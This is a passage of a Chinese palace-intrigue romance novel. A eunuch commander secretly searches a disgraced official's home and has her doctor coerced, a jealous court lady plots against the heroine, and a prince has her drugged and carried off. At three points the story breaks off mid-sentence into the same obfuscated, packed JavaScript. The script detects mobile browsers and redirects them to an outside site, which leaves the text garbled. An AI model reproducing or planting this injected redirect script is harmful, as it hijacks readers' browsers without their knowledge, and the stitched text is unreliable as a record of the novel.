冬至气极了，这都是谁传出来的谣言，怎么能平白毁坏小姐的名声。 “哪来的小毛丫头，我们碍着你什么事儿了？”胖妇人毫不退让，推了冬至一把。 冬至也不肯认输，去扯她的头发。 场面顿时一片混乱。 “大人，前面有人闹事，”来福探路之后回禀道。 “属下这就去赶他们走。” 谁敢挡提督的路？嫌活得太久了是不是…… 遥遥地，宋知明认出了其中哭红了眼的丫头。他曾于谢府门口见过，是楚湉带在身边那个。 “去看看是什么事，”宋知明摆了摆手，叫住了他。 不一会儿来福就回来了，一五一十告知。 而这时。 冬至不敌她们人多，很快便落了下风，却不愿意后退，仍旧据理力争着。 宋知明略微沉吟。摆了摆手。 “把那丫头带过来。” …… 冬至全然未料到那日遇到的大人的手下竟会从天而降，还出手相助她逃离了那群妇人。 那几个长舌妇见到他们，顿时吓得像筛糠一样抖个不停，胆子都要吓破了。 冬至看了不知有多痛快。 见到宋知明，冬至扑通一下便跪到了地上：“多谢大人搭救！救命之恩，没齿难忘！” 来福大骇。 这姑娘……是不是误会什么了？ “你家小姐没同你说过我的身份吗？”宋知明负手而立，目光幽深地看着她。 难不成这位大人是同她家小姐相识才出手帮忙的？冬至顿时点头如捣蒜，连忙奉承道： “说过的！” “小姐说，大人是上京城里顶顶好的官！” …… 11. 第 11 章 暮霭渐沉，天色幽黑。 没有点灯的屋子里黑漆漆的，沉寂一片。 楚湉静坐于梳妆台前，伸手去触摸铜镜映照得当中不甚清晰的容颜。指尖沾染上一片滚烫的湿润，烫得指尖灼热。 她不愿意让家人忧心，所以对谁都不曾吐露过自己内心最真切的想法。可是真当她独自一人时，总忍不住去想那些。 她乖巧地当了楚家十七年的女儿，按照人生原本的计划，她会嫁入一户家世相当的人家，相夫教子、生儿育女，儿孙绕膝，安稳顺遂地度过这一生。 生活风平浪静，日子有条不紊，暖阳轻洒，微风拂面，那艘小舟会载着她一起，缓缓驶向生命的终点。可是偶然的风波粉碎了少女所有的希冀，原本触手可及的幸福最终成了她可望不可及的奢望。 从父亲被抓的那一刻，一切都偏离了原本的轨道。至于以后吗？楚湉实在不知道该怎么办才好了。 浩瀚夜空中，稀疏星辰点点。不知何时，如墨的乌云迅速堆积，大半个天空被无边的黑色遮蔽。偶然一道闪电劈过，银白的光芒照亮了整间屋子。 “小姐还没睡着，怎么不点灯？”冬至推门，一眼便望见楚湉抱膝坐在凳上。冬至忙摸索着走近，从袖中掏出火折子来，“嚓”的一声，油灯就被点亮了。 楚湉身着素白寝衣，披散着长发，呆呆地望向这突然的光亮，半晌后回过神来，“冬至，你回来了。外头好像起风了，怎么回来得这么晚？” 冬至伸手入怀，小心翼翼展开那油纸。里面几块包装精致的糕点露出来，模样做得倒是精致，或是机灵的兔子，或是栩栩如生的花卉，只是边缘压碎了一些。 “路上遇上些事情耽搁了，小姐快尝尝！”冬至拈起一块，递给她。 楚湉本来并不是真的想吃，只是看冬至哭得难受，想让她出去走走散散心。她张嘴咬了一小口，这滋味倒是出乎意料的不错，便多尝了些。 冬至瞧了十分的开心，原本同那些妇人争吵的不悦一扫而空。 眼见楚湉把那块吃完，冬至忙不迭又递上一块，又倒来杯茶水，她的小姐自然是要养得白白胖胖的，多吃些才好。 桂花式样的点心，花瓣纹路清晰，细品好似真的能闻到一股桂花的清香，入口即化口感绵密。确实是开胃，又被塞了一块，楚湉腮帮子被撑得鼓鼓囊囊的。 “小姐，你要是喜欢吃，我明日再去给你买！” 楚湉失笑：“再好吃哪能天天吃。” “怎么不能，只要小姐喜欢，冬至愿意天天去排队。”冬至眼睛里亮晶晶的。 楚湉把油纸包往冬至推了推，“你也尝尝。” 冬至舔了舔唇，那糕点的香味确实是诱人，她不由得舔舔嘴角，但想起这来之不易，且小姐这阵子都没进什么东西，她纠结再三咽下口水：“小姐，你自己吃，我不饿。” “往日里哪回你不是同我一起吃的，今日这是怎么了？”楚湉笑着嗔她。 冬至迟迟不愿接下，楚湉隐约瞧出了她的心思，非要她尝尝，两人推拉之间，楚湉不小心碰到了冬至的胳膊。 “嘶”冬至叫了一声，随即马上反应过来去扯自己的衣袖。 楚湉敏锐注意到了她脸上一闪而过的狰狞，急忙放下点心，伸手去拉冬至的手，冬至本还想躲闪，却被抢先一步掀开了衣袖。 冬至细细的胳膊上，几道鲜红的指甲印分外扎眼，楚湉急了，忙问道：“这是怎么回事？怎么弄的？” “小姐……”冬至本来不愿提起白日的事情，不想那些子虚乌有的话扰得小姐不高兴，但想要今日的那场奇遇又不免觉得惊奇，除了小姐去大理寺那日两人没在一起，她往日几乎是和小姐形影不离，那位大人是何时和小姐有的往来。 莫非是他帮的小姐进的大理寺？ 想到此，冬至决定不再隐藏，掐头去尾把事情大概描述了遍，那些妇人的言论自然被隐没，唯有那位大人述说的十分清晰。 “那位大人不仅长得相貌出众，声音也好听！就像画中仙下凡一般，我从未见过他那么好看的男子。” 楚湉听着这话一头雾水，“冬至，你确定我见过，是我相识的人？” 冬至猛地点头，之前曾于谢府门口便见过一面，那时的大人不苟言笑，望而生畏，可今日她被搭救时，那位大人却冲着她笑了笑，真是寻遍满城无此等颜色的男子。 那样气质出尘的男子，也不知有没有婚配，也不知是怎样的女子才能嫁给他？ “小姐，你没想起来吗？就是在谢家时……”冬至不自觉放低了声音，谢家退婚的事情怕是已在上京城传遍，她家小姐竟还要被泼脏水，分明是谢家不识好歹、无情无义，真是提起来都晦气。 “大人还同我说，小姐若有事寻他帮忙，只管去找他。” 谢家？帮忙？楚湉开始怀疑自己是不是丢失了段记忆。 “哎呀，小姐，”冬至实在不明白，她都讲到这份上了，小姐竟还没想到，“就是坐红色轿子那位，你想起来了吧，我忘记问他的名号了。” “但那日那顶轿子，小姐你还同我说过的，实在是显眼。” 楚湉听到冬至的话，只觉天旋地转，世界竟这么小吗？怎么去哪儿都能遇上他，还找他帮忙，楚湉可没忘记那日是谁要拿拶子给她的手上刑。 一双玉手搭在冬至的脑门上，楚湉不禁皱了皱眉头：“是不是着了风寒发烧了？”怎么会说出宋知明这么多的好话，那可是杀人不眨眼、把人命视作草芥的鬼魅啊…… “我说的全是真话！”冬至目光无比坚定，语气甚笃。 …… 狂风呼啸，将夜幕搅得稀碎，豆大的雨点“啪嗒啪嗒”砸在屋檐上，于电闪雷鸣中溅起无数水花。屋内，摇曳的烛火在狂风的肆虐下摇摇欲坠，投射出疯狂舞动的影子。 楚湉喉中干渴，缓缓睁开惺忪的睡颜，趿着绣鞋挪到桌案，给自己倒了杯水。 茶壶已经凉透，丝丝凉气让她意识也清醒了几分，她下意识地转头，想要去掩上窗子。 她莲步轻移，正欲抬手，忽见窗边赫然立着一个黑影。 那人身量高大，身着一袭黑色的夜行衣，抱手立于檐下，似乎是察觉到她这边的动静，忽地转过头来。 两人四目交汇上，楚湉彻底清醒了。 男人面上虽着黑布，却露出一双如鹰隼般锐利的眼眸，其中恰似寒星闪烁，在黑暗中散发着凛冽的光，目光所及之处，遍体生寒。 楚湉心头巨颤，咽喉好似瞬间被攥紧，一声惊呼只差脱口而出。 紧接着，脑后一痛，身子软软地瘫倒下去。 等她再醒来之时，却惊觉四周皆是一片迷雾，四周全是白茫茫的雾气，怎么也辨不清方向。 楚湉摸索着走了许久，终于等待白雾消散了些，前方隐隐出现一个熟悉的身影，楚正业身着官袍，慈爱地看着她，唤她的小字。 楚湉又惊又喜，不假思索跑过去，然而等她即将拥到父亲的怀抱时，楚正业的身影却忽然不见了，猝不及防扑了个空，楚湉跌倒在地上。 就在这时，一把利剑直直抵到她胸口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647877|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男人手中长剑寒光闪烁，剑身之上，殷红的鲜血顺着剑刃缓缓滑落，无端在白雾里泅出朵朵暗色的血花。 那刀一寸一寸刺进楚湉心脏，楚湉拼命挣扎却怎么也逃不脱，她用尽了最后的力气，想去看清男人模糊的脸，指甲划过男人的脸，不过也是徒劳。 “不，不要！” 楚湉猛地从梦中惊醒，捂住胸口急促地喘息着。她胸口并没有伤疤，只有一颗心脏在胸腔里猛烈地跳动。 熟悉的床榻、帷幔，分明是在她自己的屋里。 “原来是梦，”楚湉抬手，拭去额头的冷汗，略微动了动脖子，却感觉脑后的痛意十分的真实，楚湉忍不住一阵战栗。 那些明明是亲眼所见……难道只是梦吗？ 雕花窗外，大雨倾盆。雨点重重地敲打着树叶，一些细弱的纸条在这狂风骤雨中发出“咔擦”的断裂声，然后被风席卷着砸在窗子上。 可那窗，分明掩得严严实实的。 楚湉赤足下榻，匆匆往窗边张望，那里毫无开窗的痕迹。就连靠近窗边的地板上，一点水渍都没有。 ——“我分明瞧见了，可是……” 翌日，大夫照例来看诊，楚湉便将昨日夜间的荒诞经过都讲述了一遍。 大夫身着青布长衫，听闻她的话抚了抚胡须，又叹了口气，蹙着眉道：“小姐气血不畅，忧思难解，怕是因此才做噩梦，老夫再换些方子，好好调养着，应当能有所改善。” 楚湉一想到那些冒着热气腾腾的黑色气泡的中药，舌尖都泛着苦。 不知是不是她一连喝了多日的药，都习惯了那抹味道，但今日换了药方的药端上来时，她并没有品出什么不同之处。 都是一样的苦，气味也都差不多。 “冬至，你是按照新方子熬的吗？”她问道。 冬至点头，浑然没发觉新药方与之前的似乎并无太大差别，只替换了味药材而已，实则功效并没有变化。 “小姐你放心，李大夫医术高明，喝了他的药，你定能药到病除！” 楚湉没再追究，鼓起勇气缓缓将药送至唇边，悉数喝下，眉头瞬间皱得更紧。 她不知道的是，李大夫从楚家出来之后，并未如往常一般回医馆，却是去了别处。 彼时李大夫颤颤巍巍跪在地上，不敢直视：“已经按大人吩咐的做了，还请大人高抬贵手，饶、饶命。” 宋知明坐于主位上，沉默不语。 随即起身，迈着沉稳的步伐，沿着青石砖一步步走来。 每一步都好似踏在李大夫的心尖上，他的手死死地抠着地面，如潮水般的恐惧快要将他淹没。 “让他走吧。”宋知明回头对手下说到。 葛术将人领出了府，不忘警告道：“大人留你一命，什么话该说，什么不该说，你可得有个分寸，不然我可保证不了哪天你的人头就落在了地上。” “是、是是。” 官邸内。 “大人脸上的伤，”来福顿了一下，“何不顺便让那大夫瞧瞧？” 宋知明目光停留在檐下玩闹的踏雪身上。 踏雪是只猫，浑身雪白，绒毛蓬松，总是慵懒地趴在地上，可是当它察觉到危险时，绒毛下的爪子就会迅速弹出来，又尖又利。 表面单纯无害，实则暗藏锋芒。宋知明眯起眼睛，感受着面上的刺痛。 啧。看起来倒是个柔弱可欺的小姑娘。 谁知道。 她的指甲，竟比踏雪的还要锋利。 他的思绪往后退，退到昨夜—— 12. 第 12 章 昨夜。 暴雨如注，电闪雷鸣。 天色暗沉如墨，在呼啸的风声中，翻墙的脚步声几乎微不可闻。 宋知明微微挥手，身后跟着的数名黑衣人便四散开来，悄无声息地潜入楚家的各处房屋当中。 相较于其它富得流油的京官，楚正业家的宅子显然低调许多，统共这么大的地方，无须多久就翻了个底朝天。 “提督，并未找到谢忠说的东西。”不多时，几名乔装的东厂高手便纷纷来回禀。 他们此行是为了帮宋知明寻找一本名册，这还是拿谢忠的儿子做要挟，谢忠才供出来的下落。至于这名册的样子，谁都没有见过。 但楚家并不像有的样子。 “再搜搜，”宋知明立于屋檐下，修长的手指穿过连绵的水帘，雨点纷纷扬扬落在他掌心，一片寒凉。 闪电划过夜幕，照亮他的脸。 正在这个时候，他身后的屋里传来极轻的脚步声。那声音在喧嚣的雨声当中显得极其细弱，饶是如此，宋知明顿时便觉察到了。 他幽幽转身，正好对上一双清澈的眸子。 楚湉显然是刚醒，水光潋滟的眼眸透着点点懵懂，呆愣愣地瞧着他。 还未等她反应过来，方才潜入屋里的手下便率先一步一掌劈晕了她。望着瘫倒在地上的楚湉，来福冲宋知明比了个手势，询问提督是否要将人处理掉。 东厂想要让一个人悄无声息的死去，多的是各种各样的法子，何况只是一个家中失势的女子，简直是易如反掌。 只要宋知明一声令下，明天的上京城里就会传来楚湉突然暴毙的消息。 来福朝地上看了一眼。就是可怜了她这张绝美的面皮。女子双眸紧闭，面容依旧绝美，白皙的肌肤、小巧的琼鼻，一头乌黑的秀发如倾倒的墨汁般散开，整个人宛若一朵被狂风吹落的娇花，美得让人不忍心下手。 只是可惜了，他家主子绝不是此等会怜香惜玉的人。比起冒着被暴露的风险留她性命，来福压根不用想都知道，提督会让他直接将人处置掉。 “慢着。”宋知明叫住了正准备动手的来福。 来福全然未料到，提督竟会让他将人搬到榻上去，还令他把一切痕迹全数抹掉了，伪装成了从没发生过的样子。 做完这一切，来福已经是汗如雨下。 “大人，”来福一时间拿不准宋知明的意思，带着疑惑问道，“接下来该怎么办？”莫非这次是先销毁证据再杀人？只是为何搞得这么麻烦？ “嗯，行了。”宋知明随意应了声，丝毫没顾及到来福瞪大了的眼睛。 雨越下越大，天地一片混沌。 任由外头暴雨敲打着窗扉，紧闭的窗子纹丝不动。 几人从屋外进来，身上皆是一身潮气，被屋里燃着的余炭一烘，身上泛起丝丝暖意。 被这暖热气息裹挟的还有一股幽幽的香味。女子身上柔软的甜香，像是用上好的花瓣浸染而成，弥漫在闺房的每一处。 来福看出来，宋知明微微蹙眉，似是不喜这股子甜腻腻的味道。他忙道：“属下这就去取伞过来，主子稍等片刻。” 宋知明爱洁，在雨夜穿的夜行衣都是防水的油蜡布所制，唯恐沾染上雨水，只是难免这么大的雨会沁湿鬓发，来福此举也是为了自己的小命考虑。 上次葛术惹得提督不高兴，可是以办事不力的名义处罚了三十大板，现在还疼得躺在床上叫唤。来福可不敢冒这个险。 本来容纳三个人还有些窄小的屋里，在来福走后顷刻间空旷了许多。 宋知明没有点灯，提步就要跟着出去，正当他要掩门之际。 耳边忽然传来一声细细的呼喊： “别，别走！” 楚湉眉头紧缩，两只手不住的扑腾，似乎拼命想要抓住什么，泪水淌了一脸，喉咙里发出哽咽的声音。 宋知明前去查看，发现楚湉的眼睛紧紧闭着。 原来人没醒，只是在做梦。 嘤嘤的哭声，像只受伤的猫儿一样，哭得宋知明本就烦闷的心中又添几分恼意，若不是没有查清楚楚家当年的所作所为，他早就让她永久闭上嘴了。 楚湉丝毫没有觉察到危险如此接近，依旧沉浸在梦中和父亲离别的悲伤里，哭得愈发悲切。 宋知明转身欲走，却忽然瞧见楚湉枕下露出的书册一角。他伸出手，一把抽了出来。 封皮隐隐泛黄，书脊处磨损的痕迹明显，显然是经常翻阅，褶皱清晰可见。宋知明定睛一瞧，竟是一本《法经》。 寻常女子怎么会读这样晦涩的书，宋知明心生疑窦。 然而还没等他翻开，楚湉细长的指甲就划过了他的脸。刹那间产生了一道细细的红痕。 来福很快将伞取回来了，递伞的时候自然注意到了宋知明脸上平白无故添上的伤口，外皮已经沁出了点点血珠，这暗红的颜色搁在他脸上格外诡异。 漆黑的夜色难掩此刻宋知明周身散发的凛冽寒意。他剑眉紧蹙，暗色的眼眸中怒火翻涌，好似即将喷发的火山。 来福倒吸了口凉气，这伤除了里头躺着的那位还能是谁弄的……想不到他才离开这么半刻，这楚家姑娘竟闯出这么大的祸事，竟然敢在提督脸上动手…… 这下他可真无力回天了，只求提督的怒火不要殃及他才好。 屋里的空气好似被冻结，来福推开门后大气都不敢出，一时竟陷入死一般的寂静。这时屋外有人来报：“大人，照您的吩咐又找了找，依旧没看见。” 听闻这话，宋知明缓缓转头，目光如利刃般扫过楚湉，却并未下令。 “走。” 来福忙跟了上去，等他冷静下来稍稍思索，才惊觉这已经不是提督第一次在这姑娘的事上破例。 他偷偷觑了躺在榻上眉头紧蹙的楚湉一眼，难道是提督看上这姑娘了不成？ …… 宋知明次日一早便应皇帝的传召入了宫，因为脸上这伤，还被皇帝揶揄了一番。 幽闭的殿内，烛火摇曳，光影如魅，元帝服下丹药，吞吐了口气息，抬眸便见宋知明脸上那道醒目的红痕。 “爱卿这是怎么了？竟敢有人在你的脸上留痕，坟头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647878|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草怕是不知有多深了吧。” “还是说，是哪里的红粉佳人，竟入得了我们宋大人的眼睛？” 宫中宫规森严，却有条不成文的规定，宫女和太监若是私下里看对眼，得了恩准是可以结为对食的，只是皇帝从未想过，这件的事竟会发生在宋知明身上。 宋知明外貌看起来浑然不似太监，顾盼间英气四溢，丝毫没有太监身上惯有的畏缩和谄媚，若不是太监，应当也是上京城里排得上名号的美男子。 不过相貌自然是不重要的，最让景帝满意的却是他雷厉风行的手段，办什么事都干净利落，从不会拖泥带水。 借着他的手，景帝可以办许多的事。 而且宋知明身后没有根基背景，任用起来也丝毫不用顾忌其它。 然而这样心狠手辣、神鬼皆屠的人，竟然会让女人近身，瞧瞧，多新鲜。 “难怪上次给你指的女官你瞧不上，原来早就金屋藏娇了，”皇帝眼底带着几分戏谑。 宋知明躬身，微微行了一礼，面上波澜不惊，推脱道：“陛下别再来咱家打趣了，不小心碰到的伤口而已，哪来的什么女人。” 殿内服侍的太监一一将这些见闻听了去，转头就说于别人听。齐雅儿原本娇艳的小脸上杏眼圆睁，仿佛罩上一层寒霜，手中的丝帕被她狠狠攥紧。 她是宫中掌管文书典籍的女官，三月前御前侍奉之时，宋知明恰好也在。皇帝随手一指，竟笑着要将她许配给宋知明。 宫中谁人不知道宋知明的行事做派，一不小心就是在鬼门关上徘徊，何况还是个阉人，齐雅儿怎能愿意？她这样才貌卓绝的女子，又有家中的关系脉络，出宫后什么样的人家不能找…… 饶是满心不甘，齐雅儿也不敢在御前顶撞。 谁料宋知明只是看了她一眼，就拒绝了陛下的赐婚。 这对齐雅儿来说，本该是天大的好事才对，可不知为何，宋知明看他的那一眼竟成了她这几月来宿夜难寐的梦回。 起初，她是庆幸，后来不知为何，竟演化成了羞愤。明明周围人都在替她鸣不平，可是齐雅儿却觉察出不是滋味来。 他一个太监，凭什么拒绝她？她难道入不了他的眼吗？ 后来，宋知明每次入宫时，齐雅儿都不免格外上心，令人多方打探。 齐雅儿心事重重，穿行于宫道之间，途经一处偏僻宫巷时，忽然有个高大的身影陡然出现。 “齐女史的手伸得未免太远了，竟然在陛下面前插眼线。”宋知明沉沉地凝视着她。 阳光恰好落在他黑如点漆的眸子里，本来幽深如潭的瞳仁，刹那间好似被璀璨星光点亮，齐雅儿刹那间呼吸一滞，心跳如鼓。 齐雅儿的视线下移，把他脸上那道刺眼的红痕尽收眼底。她一眼便看出是女子划出的指甲印，怎么可能是别的伤。想到此，她的心竟涌上一股酸涩来。 更让她难过的是，他身上隐隐有股女人香浮动。好似清甜的果香，又好似馥郁的玫瑰花香。 齐雅儿瞪大了眼睛。 这香味，她好似在楚湉身上闻过。 13. 第 13 章 上京城里的贵女，彼此之间大多是认识的，何况是楚湉这样出众的相貌，更是让人记忆深刻。 齐雅儿还记得去年的雅集，楚湉赴宴时不知惹来了多少青眼，她家兄长还曾暗地里托她去给楚湉那儿打探过口风，询问楚湉可有意中人。 当时楚湉身边围了许多的人，众星捧月般环绕在她周围。偏生她在人群当中最是耀眼，让人注意不到都难。 楚湉性子温润，说起话来温声细语，微笑时梨涡浅浅。 齐雅儿费了好大的力气才凑到楚湉跟前，她身上清幽的香味，齐雅儿至今都记得。好似清甜的果香，又好似馥郁的玫瑰花香。 这香味，齐雅儿后来从未在旁人身上闻到过，她猜应该是楚湉特有的体香。 但今天，她竟然在宋知明的身上重温了。 楚湉怎么会和宋知明扯上干系？齐雅儿怎么也想不明白，若两人只是擦肩而过，这缕香绝无可能在宋知明身上停留这么久。 宋知明冷眼瞧着呆滞的齐雅儿，只当她是被他吓傻了。 “这样的事，不要再有第二次，”宋知明声音清冷，警告适可而止，拂袖而去。 他黑色朝服宽大的袖袍在空中划出一道凌厉的弧线，齐雅儿回过神来，目不转睛盯着他冰冷的背影，心中钝钝的疼。 齐雅儿回到住所后，思索一番，当即决定修书一封给平阳郡主。两日后，是她的休沐日，刚好她要去赴郡主的宴席。 “小姐为何要郡主邀请楚姑娘？”她身边的婢女不解问道。 楚家失势早已是人尽皆知，听说谢尚书家的儿子还退了和楚湉的婚事，这时候去结交楚湉，完全是没有必要的事情。 齐雅儿目光飘远，捏着手中写好的信纸有些怀疑，自己竟如此冲动，做到这地步只为了确定一个没由来的念头吗？ 片刻后，她终是答道：“我有我的思量，你速速去把信送给郡主就是。” “是。” 铅灰色的天空沉甸甸地压在上京城上。 楚湉独坐窗前，平阳郡主令人送过来的拜帖静静地躺在桌案上，自她定下婚事之后，父亲不许她招摇，很少允她出门参与这类聚会。拒绝的多了，渐渐地很少有人再邀请她。 在如今这样的时机，楚湉并不太清楚平阳郡主为何会突然邀她赴宴，要知道两人平日里并没有多少交集。 “冬至，上次绸缎庄送过来的料子做的新衣放哪了？帮我寻出来吧。” “小姐还是决定去赴宴吗？”冬至问道。 楚湉点头，她现在不仅仅是她自己，她还要承担起维系整个楚家的重任。 救父亲的事需要从长计议，此行说不定能结交上有利的关系，再说了，她也要为自己的妹妹铺路，绝不能让小妹步她的后尘。 因着病了几日消瘦了不少，之前试过的刚好合身的衣服只能改小些。等到改好送过来时，已经到了赴宴的日子。 楚湉自己穿上新衣，冬至又拿起同色的罗裙，绕过她纤细的腰肢，系上精心绣制的绦带，绦带上的玉坠轻轻晃动，发出清脆悦耳的声响。 冬至扶着楚湉来到铜镜前坐下，刚给她上完唇脂，就不禁看得呆了。 唇脂粉嫩的色泽遮掩住楚湉原本显得有些苍白的唇色，眉毛不用勾画自是弯弯的新月一般的眉形，面容不施珍珠粉便已足够皙白，在新衣的映衬下，俏生生的宛如春日盛开的桃花， 楚湉盯着铜镜中容颜有些不自在，“这样是不是太醒目了？还是换身衣裳吧。” “就是要美些才好呢。”冬至按住了自家小姐的肩头，她早就打探清楚了，这次宴会谢家的公子也会去，她就是要把小姐打扮得漂漂亮亮的，至于那谢家的人就等着后悔去吧。 最后，楚湉终究是穿上了那身新做的绣了点点粉色花瓣的白色锦裳，然发间却是任由冬至怎么劝说，都只肯插了一只银簪，不愿再做别的装饰。 …… 今日的风刮得格外的猛烈，楚湉下马车时眼里险些进了沙，不自觉揉了揉。 郡主府里，华烛高照，暖香袅袅。 地上铺着厚厚的地毯，踩上去仿佛踩在云端一般，楚湉望着眼前觥筹交错的热闹场景，有些不真切的感觉。 厅中焚着暖炉，数名舞姬身着绯红色舞衣身姿轻盈地随着丝竹之声翩翩起舞。飞扬的裙裾，宛如一朵盛开的红梅在雪中绽放。众人看得如痴如醉，不禁拍手叫好。 楚湉莲步轻移，径直走到郡主面前，微微福身行了一礼。 郡主颔首，不动声色用眼神提醒身旁的齐雅儿：“人都来了，你打的什么主意？” 齐雅儿深深望了楚湉一眼，从楚湉步入厅堂起，便有许多目光落在她身上，其中多是惊艳，还有不少男子不自觉露出的倾慕。 齐雅儿脸上的笑意凝在嘴角，心里明白楚湉顶着这样一张芙蓉面，即使家里再不复从前，到哪里也都是夺目的。 “真是许久都未见过了，”齐雅儿款步走近，亲昵地去拉楚湉的手，“姐姐快来尝尝郡主府里的冰酪！” 齐雅儿不着痕迹地靠近楚湉，鼻翼翕动，视图捕捉她身上的香味。 楚湉今日并抹了点香粉，且穿的又是新衣裳，体香很淡，几乎都闻不见，齐雅儿有些失落，却又心里突然蹿出些希望来。 人都是会变的，何况是气味。说不定宋知明身上的女人香，真是她想多了呢。楚湉父亲是御史，家教最是严苛，又怎么会容忍她和宋知明那样的人走到一起。 这么一想，齐雅儿的心里好受了许多。她不要的，也轮不到别人。现在的她，早已经不是当年仰人鼻息的小家小户的女儿，她现在比楚湉强多了不是吗？ 楚湉并不知晓她心中的弯弯绕绕，只觉自己的手掌被她突然收紧的手指掐得一疼，微微一愣。 齐雅儿莫名其妙的示好来得快走得也快，不多时就留下楚湉孤零零一人。 人渐渐的多了起来，热闹喧嚣。 各种脂粉和香炉的香味混杂在一起，让楚湉有些喘不过气来。她饮了一口热茶，心中燥意更甚，抬步想要去外头吹吹冷风清醒些。 “阿湉。” 楚湉刚走出来，手腕就被人抓住。谢尚跟上她，目光落在她脸上。 他的指尖温热有力，楚湉一惊，下意识就要挣脱。 她甩开他的桎梏：“放开我！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647879|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还在生我的气是不是？”谢尚的声音低沉又急切，看着她红红的眼圈，心里绞痛，“你打我骂我吧，都是我不对，我不该听我父亲的话去找你退婚。” “但……” 楚湉打断了他，微微侧头，对他接下来要说的话毫无兴趣。 “那些东西我都遣人送过去了，谢公子收到了吗？” 早在谢家退婚的第二日，她就将楚家当时收下的定亲之礼悉数整理好，退了回去。 “若是收到了，字我也签了，谢公子就应当明白，我们再无瓜葛。”楚湉转身欲走。 她一口一个谢公子，把谢尚的心撕成一瓣一瓣，谢尚不死心去摸她的面颊，“你相信我，我是有苦衷的。” 楚湉往后退了一步躲开，嘴角勾出嘲讽的笑意，天下人有几个是没有苦衷的？她本是不怨谢忠的，人往高处走是天经地义的事，可她对他仅有的那么一点情愫也早已埋葬在了退婚那日。 外头是待不得了，楚湉不想再和谢尚纠缠下去，退回宴厅之后，她独坐一隅。 “小姐尝尝郡主府里的果子酒吧，是今年当季摘的杨梅酿的，十分爽口。”旁边的侍女上前，给楚湉倒了一杯。 她似乎是瞧出了楚湉的落寞才主动侍奉，楚湉感念她的好意，端起杯盏抿了一口。 酸甜滋味在舌尖绽放，一股温热顺着喉间缓缓流淌，楚湉不禁微微眯起双眸，沉醉在这美妙滋味中。侍女眼见她杯盏见底，又忙续上。 一杯未尽，又满上一杯。不多时，几杯酒已经下肚。初品不觉酒意，此时却已渐渐上头。楚湉原本白皙的脸颊染上一层醉人的酡红，眼神也开始变得迷离。 而她丝毫没有察觉，有人正目不转睛地注视着她。 晋王的目光像是被无形的丝线牵引住，自带楚湉进来时，便锁在了她身上。 她走路的时候，裙摆微微晃动，恰似随风摇曳的弱柳。那月白锦裳勾勒出来的腰肢不盈一握，随着她的步伐轻轻扭动，似是能将世间所有的旖旎风情都凝聚于此。 而坐着的时候，即便是吃醉了酒，脊背依旧挺直，并未因醉意而有所懈怠。 既有世家女子的风范，又带着浑然天成的娇媚。这样的妙人儿，怎么之前从未见过呢？ 晋王望着那张殷红的小嘴开开合合，眼中涌起一抹炽热，随即倾身吩咐起手底下的人。 楚湉意识朦胧地被人扶上了回府的马车，她靠在车厢上，脑袋昏昏沉沉，却还是认出来了这并不是楚家的马车。 只是外面的模样相似，里头的陈设并不一样。 她心里忽觉异样：“为何换了马车？我府里的人呢？” 车夫立马答道：“郡主特意安排的，怕是外头等久了冷，先一步遣人回去了。姑娘饮了酒，且安心睡吧，睡上一觉就到了。” 既是郡主的意思，楚湉并不好推辞。她强撑着意识，却没打算阖眼。 马车晃悠悠的，颠簸得让她有些难受，楚湉掀开车帘，试图吹吹风缓解不适。 车窗外的景色全然陌生，冷风的吹拂下，楚湉的酒意瞬间清醒了大半。 她反应过来。 这……并不是回府的路。 14. 第 14 章 这是要带她去哪？ “停车，”楚湉出声叫住车夫，她脑中串联出今日的这一切，心中不安愈发明显。 谁料外头坐着的人恍若未闻，反而是马鞭一甩，直接加快了马车的速度。 马蹄声“哒哒哒”地响着，楚湉混沌的思绪成功被搅乱，她强自镇定下来，努力思索着对策。当务之急便是弄清楚这是谁动的手脚？竟然敢冒充郡主府的马车，能是谁呢？ 莫非是谢尚找她？但楚湉很快便否定了这个念头，谢尚断然不会行事这么莽撞。 更奇怪的是，马车内不知是点了什么香料，她的身子很快变得绵软无力，比之前喝醉时更甚，手足率先泛起酥麻之感，楚湉使了好大的力气才稳住自己的身形，不至于从座位上滑落下来。 楚湉的心里慌极了。唯一能够肯定的是，如此冒失地将她带走，不管这人是何身份，大抵绝不是因为什么好事。 可怕的是，她并没有猜错。 此时的晋王府里，晋王正摩拳擦掌、兴致冲冲地等着美人儿的到来。 他先一步回了晋王府，着急地在正厅前来回踱步，时不时抬头望向厅外的回廊，眼中闪烁着难以抑制的兴奋与急切。 原来是楚御史家的女儿，真是天助他也，若非换了别的官家之中的女儿，说不定还要费些力气把人弄来。但是楚家这时已是穷途末路，楚湉今天就是插翅也难逃出他的手掌心。 